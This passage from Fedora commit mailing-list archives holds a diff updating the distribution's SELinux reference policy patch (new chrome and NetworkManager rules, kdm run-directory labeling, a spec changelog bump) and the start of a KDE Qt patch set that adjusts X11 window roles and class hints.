 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.fc serefpolicy-3.6.32/policy/modules/roles/unconfineduser.fc
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.fc	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,36 @@
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.fc	2009-10-02 08:54:17.000000000 -0400
+@@ -0,0 +1,34 @@
 +# Add programs here which should not be confined by SELinux
 +# e.g.:
 +# /usr/local/bin/appsrv		--	gen_context(system_u:object_r:unconfined_exec_t,s0)
@@ -7358,8 +7534,6 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib/R/bin/exec/R	   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/lib64/erlang/erts-[^/]+/bin/beam.smp --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/lib/erlang/erts-[^/]+/bin/beam.smp --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib/opera/[^/]*/works -- gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib/opera/[^/]*/opera -- gen_context(system_u:object_r:execmem_exec_t,s0)
 +
 +/usr/bin/haddock.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/bin/hasktags  --	gen_context(system_u:object_r:execmem_exec_t,s0)
@@ -8014,8 +8188,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.te serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,402 @@
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-02 08:30:26.000000000 -0400
+@@ -0,0 +1,406 @@
 +policy_module(unconfineduser, 1.0.0)
 +
 +########################################
@@ -8180,6 +8354,10 @@ diff -b -B --ignore-all-space --exclude-
 +')
 +
 +optional_policy(`
++	chrome_role(unconfined_r, unconfined_t)
++')
++
++optional_policy(`
 +	init_dbus_chat_script(unconfined_t)
 +
 +	dbus_stub(unconfined_t)
@@ -13527,7 +13705,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/networkmanager.if serefpolicy-3.6.32/policy/modules/services/networkmanager.if
 --- nsaserefpolicy/policy/modules/services/networkmanager.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/networkmanager.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/networkmanager.if	2009-10-02 08:40:53.000000000 -0400
 @@ -118,6 +118,24 @@
  
  ########################################
@@ -13553,13 +13731,32 @@ diff -b -B --ignore-all-space --exclude-
  ##	Read NetworkManager PID files.
  ## </summary>
  ## <param name="domain">
-@@ -134,3 +152,30 @@
+@@ -134,3 +152,49 @@
  	files_search_pids($1)
  	allow $1 NetworkManager_var_run_t:file read_file_perms;
  ')
 +
 +########################################
 +## <summary>
++##	Read NetworkManager PID files.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`networkmanager_read_var_lib_files',`
++	gen_require(`
++		type NetworkManager_var_lib_t;
++	')
++
++	files_search_var_lib($1)
++	read_files_pattern($1, NetworkManager_var_lib_t, NetworkManager_var_lib_t)
++')
++
++########################################
++## <summary>
 +##	Execute NetworkManager in the NetworkManager domain, and
 +##	allow the specified role the NetworkManager domain.
 +## </summary>
@@ -20273,7 +20470,7 @@ diff -b -B --ignore-all-space --exclude-
  corenet_tcp_connect_http_port(httpd_w3c_validator_script_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.fc serefpolicy-3.6.32/policy/modules/services/xserver.fc
 --- nsaserefpolicy/policy/modules/services/xserver.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/xserver.fc	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/xserver.fc	2009-10-02 07:35:59.000000000 -0400
 @@ -3,12 +3,17 @@
  #
  HOME_DIR/\.fonts\.conf	--	gen_context(system_u:object_r:user_fonts_config_t,s0)
@@ -20314,7 +20511,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/bin/xauth		--	gen_context(system_u:object_r:xauth_exec_t,s0)
  /usr/bin/Xorg		--	gen_context(system_u:object_r:xserver_exec_t,s0)
  ifdef(`distro_debian', `
-@@ -89,16 +91,28 @@
+@@ -89,16 +91,29 @@
  
  /var/[xgk]dm(/.*)?		gen_context(system_u:object_r:xserver_log_t,s0)
  
@@ -20334,6 +20531,7 @@ diff -b -B --ignore-all-space --exclude-
 +/var/spool/gdm(/.*)?	 	gen_context(system_u:object_r:xdm_spool_t,s0)
 +
 +/var/run/slim(/.*)?	 	gen_context(system_u:object_r:xdm_var_run_t,s0)
++/var/run/kdm(/.*)?	 	gen_context(system_u:object_r:xdm_var_run_t,s0)
 +/var/run/gdm(/.*)?	 	gen_context(system_u:object_r:xdm_var_run_t,s0)
 +/var/run/gdm_socket	-s	gen_context(system_u:object_r:xdm_var_run_t,s0)
  /var/run/[gx]dm\.pid	--	gen_context(system_u:object_r:xdm_var_run_t,s0)
@@ -22266,7 +22464,7 @@ diff -b -B --ignore-all-space --exclude-
  # /var
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/init.if serefpolicy-3.6.32/policy/modules/system/init.if
 --- nsaserefpolicy/policy/modules/system/init.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/init.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/init.if	2009-10-01 17:11:27.000000000 -0400
 @@ -174,6 +174,7 @@
  	role system_r types $1;
  
@@ -26969,7 +27167,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-02 08:25:19.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  
@@ -27416,7 +27614,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	##############################
  	#
-@@ -508,182 +515,209 @@
+@@ -508,182 +515,214 @@
  	# evolution and gnome-session try to create a netlink socket
  	dontaudit $1_t self:netlink_socket { create ioctl read getattr write setattr append bind connect getopt setopt shutdown };
  	dontaudit $1_t self:netlink_route_socket { create ioctl read getattr write setattr append bind connect getopt setopt shutdown nlmsg_read nlmsg_write };
@@ -27551,6 +27749,10 @@ diff -b -B --ignore-all-space --exclude-
 +	')
 +
 +	optional_policy(`
++		chrome_role($1_r, $1_usertype)
++	')
++
++	optional_policy(`
 +		dbus_system_bus_client($1_usertype)
 +
 +		allow $1_usertype $1_usertype:dbus  send_msg;
@@ -27568,35 +27770,36 @@ diff -b -B --ignore-all-space --exclude-
 -		dbus_system_bus_client($1_t)
 +			consolekit_dbus_chat($1_usertype)
 +			consolekit_read_log($1_usertype)
-+		')
++	')
  
  		optional_policy(`
 -			bluetooth_dbus_chat($1_t)
-+			devicekit_dbus_chat($1_usertype)
-+			devicekit_dbus_chat_disk($1_usertype)
-+			devicekit_dbus_chat_power($1_usertype)
++		devicekit_dbus_chat($1_usertype)
++		devicekit_dbus_chat_disk($1_usertype)
++		devicekit_dbus_chat_power($1_usertype)
  		')
  
  		optional_policy(`
 -			evolution_dbus_chat($1_t)
 -			evolution_alarm_dbus_chat($1_t)
-+			evolution_dbus_chat($1_usertype)
-+			evolution_alarm_dbus_chat($1_usertype)
++		evolution_dbus_chat($1_usertype)
++		evolution_alarm_dbus_chat($1_usertype)
  		')
  
  		optional_policy(`
 -			cups_dbus_chat_config($1_t)
-+			hal_dbus_chat($1_usertype)
++		hal_dbus_chat($1_usertype)
  		')
  
  		optional_policy(`
 -			hal_dbus_chat($1_t)
-+			networkmanager_dbus_chat($1_usertype)
++		networkmanager_dbus_chat($1_usertype)
++		networkmanager_read_var_lib_files($1_usertype)
  		')
  
  		optional_policy(`
 -			networkmanager_dbus_chat($1_t)
-+			vpnc_dbus_chat($1_usertype)
++		vpnc_dbus_chat($1_usertype)
  		')
  	')
  
@@ -27625,21 +27828,21 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
 -		modutils_read_module_config($1_t)
 +		modutils_read_module_config($1_usertype)
++	')
++
++	optional_policy(`
++		mta_rw_spool($1_usertype)
++		mta_manage_queue($1_usertype)
  	')
  
  	optional_policy(`
 -		mta_rw_spool($1_t)
-+		mta_rw_spool($1_usertype)
-+		mta_manage_queue($1_usertype)
++		nsplugin_role($1_r, $1_usertype)
  	')
  
  	optional_policy(`
 -		tunable_policy(`allow_user_mysql_connect',`
 -			mysql_stream_connect($1_t)
-+		nsplugin_role($1_r, $1_usertype)
-+	')
-+
-+	optional_policy(`
 +		tunable_policy(`allow_user_postgresql_connect',`
 +			postgresql_stream_connect($1_usertype)
  		')
@@ -27699,21 +27902,23 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  #######################################
-@@ -711,13 +745,26 @@
+@@ -711,13 +750,26 @@
  
  	userdom_base_user_template($1)
  
 -	userdom_manage_home_role($1_r, $1_t)
 +	userdom_manage_home_role($1_r, $1_usertype)
++
++	userdom_manage_tmp_role($1_r, $1_usertype)
++	userdom_manage_tmpfs_role($1_r, $1_usertype)
  
 -	userdom_manage_tmp_role($1_r, $1_t)
 -	userdom_manage_tmpfs_role($1_r, $1_t)
-+	userdom_manage_tmp_role($1_r, $1_usertype)
-+	userdom_manage_tmpfs_role($1_r, $1_usertype)
-+
 +	ifelse(`$1',`unconfined',`',`
 +		gen_tunable(allow_$1_exec_content, true)
-+
+ 
+-	userdom_exec_user_tmp_files($1_t)
+-	userdom_exec_user_home_content_files($1_t)
 +		tunable_policy(`allow_$1_exec_content',`
 +			userdom_exec_user_tmp_files($1_usertype)
 +			userdom_exec_user_home_content_files($1_usertype)
@@ -27721,9 +27926,7 @@ diff -b -B --ignore-all-space --exclude-
 +		tunable_policy(`allow_$1_exec_content && use_nfs_home_dirs',`
 +                        fs_exec_nfs_files($1_usertype)
 +		')
- 
--	userdom_exec_user_tmp_files($1_t)
--	userdom_exec_user_home_content_files($1_t)
++
 +		tunable_policy(`allow_$1_exec_content && use_samba_home_dirs',`
 +			fs_exec_cifs_files($1_usertype)
 +		')
@@ -27731,7 +27934,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	userdom_change_password_template($1)
  
-@@ -735,70 +782,72 @@
+@@ -735,70 +787,72 @@
  
  	allow $1_t self:context contains;
  
@@ -27837,7 +28040,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -835,6 +884,32 @@
+@@ -835,6 +889,32 @@
  	# Local policy
  	#
  
@@ -27870,7 +28073,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		loadkeys_run($1_t,$1_r)
  	')
-@@ -865,51 +940,81 @@
+@@ -865,51 +945,81 @@
  
  	userdom_restricted_user_template($1)
  
@@ -27887,12 +28090,12 @@ diff -b -B --ignore-all-space --exclude-
  	auth_role($1_r, $1_t)
 -	auth_search_pam_console_data($1_t)
 +	auth_search_pam_console_data($1_usertype)
++
++	xserver_role($1_r, $1_t)
++	xserver_communicate($1_usertype, $1_usertype)
  
 -	dev_read_sound($1_t)
 -	dev_write_sound($1_t)
-+	xserver_role($1_r, $1_t)
-+	xserver_communicate($1_usertype, $1_usertype)
-+
 +	dev_read_sound($1_usertype)
 +	dev_write_sound($1_usertype)
  	# gnome keyring wants to read this.
@@ -27965,7 +28168,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -943,8 +1048,8 @@
+@@ -943,8 +1053,8 @@
  	# Declarations
  	#
  
@@ -27975,7 +28178,7 @@ diff -b -B --ignore-all-space --exclude-
  	userdom_common_user_template($1)
  
  	##############################
-@@ -953,11 +1058,12 @@
+@@ -953,11 +1063,12 @@
  	#
  
  	# port access is audited even if dac would not have allowed it, so dontaudit it here
@@ -27990,7 +28193,7 @@ diff -b -B --ignore-all-space --exclude-
  	# cjp: why?
  	files_read_kernel_symbol_table($1_t)
  
-@@ -975,36 +1081,53 @@
+@@ -975,36 +1086,53 @@
  		')
  	')
  
@@ -28058,7 +28261,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -1040,7 +1163,7 @@
+@@ -1040,7 +1168,7 @@
  template(`userdom_admin_user_template',`
  	gen_require(`
  		attribute admindomain;
@@ -28067,7 +28270,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	##############################
-@@ -1049,8 +1172,7 @@
+@@ -1049,8 +1177,7 @@
  	#
  
  	# Inherit rules for ordinary users.
@@ -28077,7 +28280,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	domain_obj_id_change_exemption($1_t)
  	role system_r types $1_t;
-@@ -1075,6 +1197,9 @@
+@@ -1075,6 +1202,9 @@
  	# Skip authentication when pam_rootok is specified.
  	allow $1_t self:passwd rootok;
  
@@ -28087,7 +28290,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_software_raid_state($1_t)
  	kernel_getattr_core_if($1_t)
  	kernel_getattr_message_if($1_t)
-@@ -1089,6 +1214,7 @@
+@@ -1089,6 +1219,7 @@
  	kernel_sigstop_unlabeled($1_t)
  	kernel_signull_unlabeled($1_t)
  	kernel_sigchld_unlabeled($1_t)
@@ -28095,7 +28298,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	corenet_tcp_bind_generic_port($1_t)
  	# allow setting up tunnels
-@@ -1096,8 +1222,6 @@
+@@ -1096,8 +1227,6 @@
  
  	dev_getattr_generic_blk_files($1_t)
  	dev_getattr_generic_chr_files($1_t)
@@ -28104,7 +28307,7 @@ diff -b -B --ignore-all-space --exclude-
  	# Allow MAKEDEV to work
  	dev_create_all_blk_files($1_t)
  	dev_create_all_chr_files($1_t)
-@@ -1124,6 +1248,8 @@
+@@ -1124,6 +1253,8 @@
  	files_exec_usr_src_files($1_t)
  
  	fs_getattr_all_fs($1_t)
@@ -28113,7 +28316,7 @@ diff -b -B --ignore-all-space --exclude-
  	fs_set_all_quotas($1_t)
  	fs_exec_noxattr($1_t)
  
-@@ -1152,20 +1278,6 @@
+@@ -1152,20 +1283,6 @@
  	# But presently necessary for installing the file_contexts file.
  	seutil_manage_bin_policy($1_t)
  
@@ -28134,7 +28337,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		postgresql_unconfined($1_t)
  	')
-@@ -1211,6 +1323,7 @@
+@@ -1211,6 +1328,7 @@
  	dev_relabel_all_dev_nodes($1)
  
  	files_create_boot_flag($1)
@@ -28142,7 +28345,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	# Necessary for managing /boot/efi
  	fs_manage_dos_files($1)
-@@ -1276,11 +1389,15 @@
+@@ -1276,11 +1394,15 @@
  interface(`userdom_user_home_content',`
  	gen_require(`
  		type user_home_t;
@@ -28158,7 +28361,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1391,12 +1508,13 @@
+@@ -1391,12 +1513,13 @@
  	')
  
  	allow $1 user_home_dir_t:dir search_dir_perms;
@@ -28173,7 +28376,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -1429,6 +1547,14 @@
+@@ -1429,6 +1552,14 @@
  
  	allow $1 user_home_dir_t:dir list_dir_perms;
  	files_search_home($1)
@@ -28188,7 +28391,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1444,9 +1570,11 @@
+@@ -1444,9 +1575,11 @@
  interface(`userdom_dontaudit_list_user_home_dirs',`
  	gen_require(`
  		type user_home_dir_t;
@@ -28200,7 +28403,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1503,6 +1631,25 @@
+@@ -1503,6 +1636,25 @@
  	allow $1 user_home_dir_t:dir relabelto;
  ')
  
@@ -28226,7 +28429,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  ## <summary>
  ##	Create directories in the home dir root with
-@@ -1577,6 +1724,8 @@
+@@ -1577,6 +1729,8 @@
  	')
  
  	dontaudit $1 user_home_t:dir search_dir_perms;
@@ -28235,7 +28438,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1670,6 +1819,7 @@
+@@ -1670,6 +1824,7 @@
  		type user_home_dir_t, user_home_t;
  	')
  
@@ -28243,7 +28446,7 @@ diff -b -B --ignore-all-space --exclude-
  	read_files_pattern($1, { user_home_dir_t user_home_t }, user_home_t)
  	files_search_home($1)
  ')
-@@ -1797,19 +1947,32 @@
+@@ -1797,19 +1952,32 @@
  #
  interface(`userdom_exec_user_home_content_files',`
  	gen_require(`
@@ -28283,7 +28486,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1844,6 +2007,7 @@
+@@ -1844,6 +2012,7 @@
  interface(`userdom_manage_user_home_content_files',`
  	gen_require(`
  		type user_home_dir_t, user_home_t;
@@ -28291,7 +28494,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	manage_files_pattern($1, user_home_t, user_home_t)
-@@ -2391,27 +2555,7 @@
+@@ -2391,27 +2560,7 @@
  
  ########################################
  ## <summary>
@@ -28320,7 +28523,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -2765,11 +2909,32 @@
+@@ -2765,11 +2914,32 @@
  #
  interface(`userdom_search_user_home_content',`
  	gen_require(`
@@ -28355,7 +28558,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2897,7 +3062,25 @@
+@@ -2897,7 +3067,25 @@
  		type user_tmp_t;
  	')
  
@@ -28382,7 +28585,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2934,6 +3117,7 @@
+@@ -2934,6 +3122,7 @@
  	')
  
  	read_files_pattern($1, userdomain, userdomain)
@@ -28390,7 +28593,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_search_proc($1)
  ')
  
-@@ -3064,3 +3248,559 @@
+@@ -3064,3 +3253,559 @@
  
  	allow $1 userdomain:dbus send_msg;
  ')


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.935
retrieving revision 1.936
diff -u -p -r1.935 -r1.936
--- selinux-policy.spec	1 Oct 2009 21:27:34 -0000	1.935
+++ selinux-policy.spec	2 Oct 2009 13:36:23 -0000	1.936
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 18%{?dist}
+Release: 19%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,6 +449,9 @@ exit 0
 %endif
 
 %changelog
+* Fri Oct 2 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-19
+- Add labeling for /var/run/kdm
+
 * Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-18
 - Allow svirt to list sysfs_t directory
 



From ltinkl at fedoraproject.org  Fri Oct  2 13:39:46 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Fri,  2 Oct 2009 13:39:46 +0000 (UTC)
Subject: rpms/qt/devel kde-qt-patches-20091002git.patch, NONE, 1.1 qt.spec, 
	1.333, 1.334 kde-qt-patches-20090820git.patch, 1.1, NONE
Message-ID: <20091002133946.8365411C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6523

Modified Files:
	qt.spec 
Added Files:
	kde-qt-patches-20091002git.patch 
Removed Files:
	kde-qt-patches-20090820git.patch 
Log Message:
update kde-qt patches for Qt 4.5.3


kde-qt-patches-20091002git.patch:
 README.kde-qt                                    |  164 +++++++------
 b/README.kde-qt                                  |  189 +++++++++++++++
 b/bin/syncqt                                     |    6 
 b/configure                                      |    9 
 b/projects.pro                                   |    3 
 b/qmake/property.cpp                             |   30 +-
 b/src/3rdparty/webkit/WebCore/DerivedSources.cpp |    3 
 b/src/corelib/global/qnamespace.h                |   97 +++++++
 b/src/corelib/kernel/qobject.cpp                 |    8 
 b/src/corelib/kernel/qobject_p.h                 |    3 
 b/src/dbus/qdbusinternalfilters.cpp              |   17 +
 b/src/gui/image/qnativeimage.cpp                 |   10 
 b/src/gui/image/qnativeimage_p.h                 |    1 
 b/src/gui/itemviews/qtreeview.cpp                |    3 
 b/src/gui/kernel/qapplication_x11.cpp            |    7 
 b/src/gui/kernel/qkeymapper_x11.cpp              |  286 ++++++++++++++++++-----
 b/src/gui/kernel/qkeysequence.cpp                |  175 ++++++++++----
 b/src/gui/kernel/qwidget_p.h                     |    1 
 b/src/gui/kernel/qwidget_x11.cpp                 |   28 +-
 b/src/gui/painting/qwindowsurface_raster.cpp     |   14 -
 b/src/gui/widgets/qmenu.cpp                      |    3 
 b/src/gui/widgets/qtabbar.cpp                    |    3 
 b/src/tools/moc/main.cpp                         |    7 
 src/corelib/kernel/qobject_p.h                   |    6 
 src/gui/image/qnativeimage.cpp                   |    3 
 src/gui/kernel/qkeysequence.cpp                  |   21 -
 src/gui/kernel/qwidget_x11.cpp                   |   22 +
 27 files changed, 869 insertions(+), 250 deletions(-)

--- NEW FILE kde-qt-patches-20091002git.patch ---
>From b48e2091871516496cf0b133249fbf5326a55831 Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Sat, 23 Feb 2008 16:44:52 +0100
Subject: [PATCH 01/18] This patch uses object name as a fallback for window role if no window
 role is set explicitly using setWindowRole(). Since Qt3 always used
 the object name as the window role and most Qt3/KDE3 code is ported to
 call setObjectName(),

this makes the window role set in many cases (which KWin uses for window identifying).

NOTE: It is suggested to apply patch #0209 as well when this patch is used.

qt-bugs@ issue : 167704
Trolltech task ID : 168283 (status: "fixed" for Qt 4.4.0, but effectively refused)
---
 src/corelib/kernel/qobject.cpp |    8 ++++++++
 src/corelib/kernel/qobject_p.h |    3 +++
 src/gui/kernel/qwidget_p.h     |    1 +
 src/gui/kernel/qwidget_x11.cpp |   27 +++++++++++++++++++++------
 4 files changed, 33 insertions(+), 6 deletions(-)

diff --git a/src/corelib/kernel/qobject.cpp b/src/corelib/kernel/qobject.cpp
index 6487194..ef0369e 100644
--- a/src/corelib/kernel/qobject.cpp
+++ b/src/corelib/kernel/qobject.cpp
@@ -993,8 +993,16 @@ void QObject::setObjectName(const QString &name)
 {
     Q_D(QObject);
     d->objectName = name;
+#if defined(Q_WS_X11)
+    d->checkWindowRole();
+#endif
 }
 
+#if defined(Q_WS_X11)
+void QObjectPrivate::checkWindowRole()
+{
+}
+#endif
 
 #ifdef QT3_SUPPORT
 /*! \internal
diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
index 0bcccba..6ab9e10 100644
--- a/src/corelib/kernel/qobject_p.h
+++ b/src/corelib/kernel/qobject_p.h
@@ -144,6 +144,9 @@ public:
     mutable quint32 connectedSignals;
 
     QString objectName;
+#if defined(Q_WS_X11)
+    virtual void checkWindowRole();
+#endif
 
     // Note: you must hold the signalSlotLock() before accessing the lists below or calling the functions
     struct Connection
diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h
index 774e390..176d6fa 100644
--- a/src/gui/kernel/qwidget_p.h
+++ b/src/gui/kernel/qwidget_p.h
@@ -358,6 +358,7 @@ public:
 
 #if defined(Q_WS_X11)
     void setWindowRole();
+    virtual void checkWindowRole();
     void sendStartupMessage(const char *message) const;
     void setNetWmWindowTypes();
     void x11UpdateIsOpaque();
diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 79ee8c9..b56849c 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -778,13 +778,17 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         data.fstrut_dirty = 1;
 
         // declare the widget's window role
+        QByteArray windowRole;
         if (QTLWExtra *topData = maybeTopData()) {
-            if (!topData->role.isEmpty()) {
-                QByteArray windowRole = topData->role.toUtf8();
-                XChangeProperty(dpy, id,
-                                ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
-                                (unsigned char *)windowRole.constData(), windowRole.length());
-            }
+            if (!topData->role.isEmpty())
+                windowRole = topData->role.toUtf8();
+        }
+        if (windowRole.isEmpty()) // use object name as a fallback
+            windowRole = objectName.toUtf8();
+        if (!windowRole.isEmpty()) {
+            XChangeProperty(dpy, id,
+                            ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
+                            (unsigned char *)windowRole.constData(), windowRole.length());
         }
 
         // set client leader property
@@ -2768,6 +2772,17 @@ void QWidgetPrivate::setWindowRole()
                     (unsigned char *)windowRole.constData(), windowRole.length());
 }
 
+void QWidgetPrivate::checkWindowRole()
+{
+    Q_Q(QWidget);
+    if( !q->windowRole().isEmpty() || !q->internalWinId())
+        return;
+    QByteArray windowRole = objectName.toUtf8(); // use as a fallback
+    XChangeProperty(X11->display, q->internalWinId(),
+                    ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
+                    (unsigned char *)windowRole.constData(), windowRole.length());
+}
+
 Q_GLOBAL_STATIC(QX11PaintEngine, qt_widget_paintengine)
 QPaintEngine *QWidget::paintEngine() const
 {
-- 
1.6.2.5

>From 339e220e29ff39b86705438b4be6f90e5618d27b Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Tue, 2 Oct 2007 16:08:32 +0200
Subject: [PATCH 02/18] This patch makes override-redirect windows (popup menu, dropdown menu,
 tooltip, combobox, etc.) also have more window properties like WM_CLASS,
 so they can be used when compositing.

qt-bugs@ issue : none
bugs.kde.org number : none
---
 src/gui/kernel/qwidget_x11.cpp |   21 +++++++++++++++------
 1 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 79ee8c9..a74a849 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -719,6 +719,11 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         Q_ASSERT(id);
         XChangeWindowAttributes(dpy, id, CWOverrideRedirect | CWSaveUnder,
                                 &wsa);
+        XClassHint class_hint;
+        QByteArray appName = qAppName().toLatin1();
+        class_hint.res_name = appName.data(); // application name
+        class_hint.res_class = const_cast<char *>(QX11Info::appClass());   // application class
+        XSetWMProperties(dpy, id, 0, 0, 0, 0, 0, 0, &class_hint);
     } else if (topLevel && !desktop) {        // top-level widget
         if (!X11->wm_client_leader)
             create_wm_client_leader();
@@ -769,13 +774,21 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         // set EWMH window types
         setNetWmWindowTypes();
 
+        // when we create a toplevel widget, the frame strut should be dirty
+        data.fstrut_dirty = 1;
+
+    } else {
+        // non-toplevel widgets don't have a frame, so no need to
+        // update the strut
+        data.fstrut_dirty = 0;
+    }
+
+    if (initializeWindow && (popup || (topLevel && !desktop))) { // properties set on all toplevel windows
         // set _NET_WM_PID
         long curr_pid = getpid();
         XChangeProperty(dpy, id, ATOM(_NET_WM_PID), XA_CARDINAL, 32, PropModeReplace,
                         (unsigned char *) &curr_pid, 1);
 
-        // when we create a toplevel widget, the frame strut should be dirty
-        data.fstrut_dirty = 1;
 
         // declare the widget's window role
         if (QTLWExtra *topData = maybeTopData()) {
@@ -791,10 +804,6 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         XChangeProperty(dpy, id, ATOM(WM_CLIENT_LEADER),
                         XA_WINDOW, 32, PropModeReplace,
                         (unsigned char *)&X11->wm_client_leader, 1);
-    } else {
-        // non-toplevel widgets don't have a frame, so no need to
-        // update the strut
-        data.fstrut_dirty = 0;
     }
 
     if (initializeWindow && q->internalWinId()) {
-- 
1.6.2.5

>From 68eaa07de69e873b89d4aba341c6ed1ca81f6819 Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Wed, 30 Jan 2008 14:24:01 +0100
Subject: [PATCH 03/18] This patch changes QObjectPrivateVersion, thus preventing mixing
 parts of upstream Qt and qt-copy. In general it is a bad idea to mix
 e.g. libQtCore from one build and libQtGui from another one, and other
 qt-copy patches could make changes in Qt internal structures that could
 cause problems when mixed with upstream Qt.

This patch does not make qt-copy binary incompatible with upstream Qt.
It only further enforces using the same sources for the whole Qt build.

qt-bugs@ issue : none
Trolltech task ID : none
bugs.kde.org number : none
---
